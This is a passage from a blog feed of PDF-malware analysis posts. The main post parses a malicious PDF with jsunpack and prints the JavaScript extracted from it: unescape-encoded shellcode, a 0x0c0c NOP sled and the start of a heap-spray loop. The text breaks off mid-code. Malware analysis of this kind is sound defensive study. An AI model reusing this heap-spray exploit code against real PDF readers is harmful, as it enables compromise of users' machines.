/&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;0x00000016 (03) 036a07 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ADD EBP, [EDX+0x7]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Ok so the decryption is going to change the instruction "ADD EBP, [EDX+0x7]". So, Ill just run the whole thing in libemu and check its output.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;There seems to be to WinExec to execute "calc.exe" and to ExitProcess. However, it seems that there is some tampering with LdrData - to hide imported dlls? #TODO&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7761018377333039151-5325878961041847440?l=x86overflow.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/5325878961041847440/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://x86overflow.blogspot.com/2011/10/analyzing-e1730268df98c7877d16beda98839.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/5325878961041847440'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/5325878961041847440'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/2011/10/analyzing-e1730268df98c7877d16beda98839.html' title='analyzing e1730268df98c7877d16beda98839694.pdf'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7761018377333039151.post-8505745249395962280</id><published>2011-10-13T13:36:00.000-07:00</published><updated>2012-02-13T20:24:05.013-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='pdf-malware'/><title type='text'>analyzing 8008bf0a06a0ba4dca1c881f4955acc8</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Recently, I started analyzing pdf-malware. I got myself a pdf to analyze from &lt;a href="http://malwaredomainlist.com/"&gt;malwaredomainlist.com&lt;/a&gt;; the hash of the pdf is&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;8008bf0a06a0ba4dca1c881f4955acc8&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: purple; font-family: Verdana, sans-serif;"&gt;1. Strings&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;To be honest, there wasn't much I could make sense of - the only piece of information I obtained was that it adhered to PDF 1.5 specification by looking at its header. Also I get the cross reference table.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="color: purple;"&gt;2. I used the pdf.py&lt;/span&gt; we get along with jsunpack to get the following output :-&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;parsing 8008bf0a06a0ba4dca1c881f4955acc8.pdf&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;obj 1 0:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Type &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(TAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Catalog &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (TAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Outlines = 2 0 R &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(TAGVAL)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Pages = 3 0 R &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (TAGVAL)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag OpenAction = 5 0 R &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(ENDTAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;obj 2 0:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Type &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(TAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Outlines &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(TAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Count = 0 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (ENDTAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;obj 3 0:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Type &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(TAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Pages &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (TAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Kids = 4 0 R] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (TAGVAL)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Count = 1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (ENDTAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;obj 4 0:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Type &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(TAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Page &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(TAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Parent = 3 0 R &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(TAGVAL)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag MediaBox = 0 0 612 792] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (ENDTAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;obj 5 0:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Type &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(TAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Action &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(TAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag S &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (TAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag JavaScript &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(TAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag JS = 6 0 R &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(ENDTAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;obj 6 0:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Length = 2317 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (TAGVAL)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Filter &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(TAGVAL)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag FlateDecode &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (TAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag ASCIIHexDecode &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(ENDTAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;obj trailer:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Size = 7 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(TAGVAL)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tag Root = 1 0 R &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;(ENDTAG)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Found JavaScript (delayed) in 1 0 (0 bytes)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;children [['Outlines', '2 0'], ['Pages', '3 0'], ['OpenAction', '5 0']]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tags [['TAG', 'Type', ''], ['TAG', 'Catalog', ''], ['TAGVAL', 'Outlines', '2 0 R'], ['TAGVAL', 'Pages', '3 0 R'], ['ENDTAG', 'OpenAction', '5 0 R']]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;indata = &amp;lt;&amp;lt;/T#79#70#65/C#61#74a#6c#6fg/Ou#74#6c#69n#65#73 2 0 R/Pag#65s 3 0 R/#4fp#65#6e#41#63t#69#6f#6e 5 0&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Found JavaScript (delayed) in 5 0 (0 bytes)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;children [['JS', '6 0']]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tags [['TAG', 'Type', ''], ['TAG', 'Action', ''], ['TAG', 'S', ''], ['TAG', 'JavaScript', ''], ['ENDTAG', 'JS', '6 0 R']]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;indata = &amp;lt;&amp;lt;/#54ype/Ac#74#69#6f#6e/#53/Jav#61S#63#72ip#74/#4a#53 6 0 R&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Found JavaScript in 6 0 (2090 bytes)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;children []&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;tags [['TAGVAL', 'Length', '2317'], ['TAGVAL', 'Filter', ''], ['TAG', 'FlateDecode', ''], ['ENDTAG', 'ASCIIHexDecode', '']]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;indata = &amp;lt;&amp;lt;/Le#6eg#74h 2317/F#69lt#65#72[/#46late#44#65#63#6fd#65/A#53C#49IHex#44#65#63#6f#64e]&amp;gt;&amp;gt;streamxYY6 q&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Wrote JavaScript (2177 bytes -- 87 headers / 2090 code) to file 8008bf0a06a0ba4dca1c881f4955acc8.pdf.out&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Ok, so I haven't had to do much - the javascript in this file has been decompressed and written out to another file.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Here's what I get :-&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;c = []; zzzpages.push(c); this.numPages = zzzpages.length;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;//jsunpack End PDF headers&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;var qdxIsPARawijkD = unescape("%uc3db%u74d9%uf424%u3158%ubbc9%ub4e1%u9ca2%u5eb1%u5831%u8318%u04c0%u5803%u56f5%u7757%ucce5%ubbd2%u97cc%u875b%ud7cf%uf2a8%u3556%ue92a%u526d%u1120%u5d92%ua2c7%u3bf5%uf8b1%u04f8%u676b%uec9b%u4179%u1c0e%uf497%u3304%u66be%u7276%u6352%u66d3%uf4bf%u1dfa%ue955%u981b%u6f30%u0cf1%udac9%u7d81%ud21c%u247b%u813b%u4369%ud1cf%uf94d%u3310%u3edc%ud1a8%u2380%u9de9%u9c4c%ua5d4%u48be%uf6cb%uea03%u40b1%u9103%ufb1e%u5aa3%u6a8c%u7a51%u1634%udc0f%ubc4f%u8435%u5bbd%u6fd3%u38d0%ue1f1%ue1ce%uef62%ueea7%ud011%ud849%u48b0%uc030%ufe9d%u3a88%u3147%u066b%u8c95%u1087%u7f59%ub8cc%u19c0%ue416%ud678%u03f8%uf0db%u57ea%uac3a%u50ea%uc726%u4db5%ud413%ubb7f%ud4fd%u62f5%u739c%u6230%u7f29%u4ee5%u1dcf%u8dfb%u8476%u3456%u7e41%u086c%ue798%uf2bf%uad08%u37f6%ue34a%u0160%u35f4%u3b1f%ufca1%u62fc%u9fbd%u5f34%uaaf2%u2ba3%uebcf%ud71e%u41b8%u7d07%u2937%ue7de%u8bd1%u05e3%udfd4%u2cea%ue23e%u3aee%uf742%u24fb%uf464%u9c11%uef78%udd07%u2d8c%uf527%u3490%ufc25%u2983%u986e%u5a9d%u4778%u67c0%ue17d%u79de%uff72%u8813%ufc98%u9653%u28c6%u9155%u0704%u9969%u501c%ube62%u383b%ud498%ucf49%udc96%ufc2b%uf69d%u0b91%u0ecf%u02dc%u0cf7%u1dd2%u1fd8%u1d18%u463e%uaa8b%u09ca%u7c76%u9d1d%uf5f1%u1b4f%u8c9b%ueffc%u1906%u6267%u8be7%uf602%u30d8%u9aad%u9945%u1b48%u65ef");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;var EdDashDIgmMARzTFDgSvTTZUlJuZmRU = unescape("%u0c0c%u0c0c");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;var TyhHR = unescape("%u0c0c%u0c0c%u4367%u6345%u6958%u6c69%u5859%u704e%u444d%u594f%u784e%u6353%u5457%u784e%u6972%u7265%u5a7a%u6852%u5157%u6d62%u6879%u6c77%u6e55%u5356%u7242%u6648%u456b%u6a58%u6f79%u7a45%u7874%u5456%u6c66%u7844%u764b%u6574");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;while(EdDashDIgmMARzTFDgSvTTZUlJuZmRU.length &amp;lt;= 32768) EdDashDIgmMARzTFDgSvTTZUlJuZmRU+=EdDashDIgmMARzTFDgSvTTZUlJuZmRU;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;EdDashDIgmMARzTFDgSvTTZUlJuZmRU=EdDashDIgmMARzTFDgSvTTZUlJuZmRU.substring(0,32768 - qdxIsPARawijkD.length);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;memory=new Array();&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;for(i=0;i&amp;lt;0x2000;i++) {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-tab-span" 